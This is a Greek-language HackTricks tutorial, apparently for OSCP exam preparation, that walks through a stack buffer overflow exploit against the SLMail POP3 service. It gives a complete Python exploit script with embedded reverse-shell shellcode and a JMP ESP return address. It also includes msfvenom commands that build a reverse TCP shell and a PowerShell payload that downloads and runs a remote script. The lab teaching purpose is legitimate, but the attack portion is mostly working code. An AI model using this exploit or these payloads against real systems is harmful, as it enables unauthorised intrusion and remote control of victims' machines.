13 KiB
Εκμετάλλευση Windows (Βασικός Οδηγός - OSCP επίπεδο)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο Hacking του GCP: HackTricks Training GCP Red Team Expert (GRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο github.
Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail
Επανεκκίνηση της υπηρεσίας SLMail
Κάθε φορά που χρειάζεται να επανεκκινήσετε την υπηρεσία SLMail μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
net start slmail
Πολύ βασικό πρότυπο εκμετάλλευσης σε Python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Αλλαγή της γραμματοσειράς στο Immunity Debugger
Πηγαίνετε σε Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
Σύνδεση της διεργασίας στο Immunity Debugger:
File --> Attach
Και πατήστε το κουμπί START
Αποστολή του exploit και έλεγχος εάν το EIP επηρεάζεται:
Κάθε φορά που διακόπτετε την υπηρεσία, πρέπει να την επανεκκινήσετε όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
Δημιουργία ενός προτύπου για την τροποποίηση του EIP
Το πρότυπο πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Αλλάξτε το buffer του exploit και ορίστε το μοτίβο και εκτελέστε το exploit.
Θα πρέπει να εμφανιστεί ένα νέο crash, αλλά με διαφορετική διεύθυνση EIP:
Ελέγξτε αν η διεύθυνση βρίσκεται στο μοτίβο σας:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Φαίνεται ότι μπορούμε να τροποποιήσουμε το EIP στη θέση μετατόπισης 2606 του buffer.
Ελέγξτε το τροποποιώντας το buffer του exploit:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Με αυτό το buffer το EIP κρασάρει και πρέπει να δείχνει στο 42424242 ("BBBB")
Φαίνεται ότι λειτουργεί.
Έλεγχος για χώρο Shellcode μέσα στο stack
600B πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
Ας αλλάξουμε το buffer:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
Εκκινήστε το νέο exploit και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
Μπορείτε να δείτε ότι όταν φτάνουμε στην ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε αρκετό χώρο για να τοποθετήσουμε ένα shellcode εδώ.
Σε αυτήν την περίπτωση έχουμε από 0x0209A128 έως 0x0209A2D6 = 430B. Αρκετό.
Έλεγχος για κακούς χαρακτήρες
Αλλάξτε ξανά το buffer:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Τα badchars ξεκινούν από το 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τα χαρακτήρες που θεωρούνται άχρηστοι:.
Για παράδειγμα:
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας 0x09).
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι ο χαρακτήρας 0x0D αποφεύγεται:
Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
Χρησιμοποιώντας:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Θα καταχωρήσετε τους χάρτες μνήμης. Αναζητήστε κάποιο DLL που έχει:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα "κακό χαρακτήρα":
Σε αυτήν την περίπτωση, για παράδειγμα: _0x5f4a358f_
Δημιουργία shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Εάν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell φτάνεται), δοκιμάστε να δημιουργήσετε άλλους κώδικες shell (με το msfvenom να δημιουργήσετε διαφορετικούς κώδικες shell για τις ίδιες παραμέτρους).
Προσθέστε μερικά NOPS στην αρχή του κώδικα shell και χρησιμοποιήστε τον κώδικα shell και τη διεύθυνση επιστροφής για να γίνει άλμα στο ESP, και ολοκληρώστε το exploit:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
{% hint style="warning" %} Υπάρχουν shellcodes που θα αντικαταστήσουν τον εαυτό τους, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν το shellcode {% endhint %}
Βελτίωση του shellcode
Προσθέστε αυτές τις παραμέτρους:
EXITFUNC=thread -e x86/shikata_ga_nai
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Κοινοποιήστε τεχνικές hacking υποβάλλοντας PRs στα αποθετήρια HackTricks και HackTricks Cloud.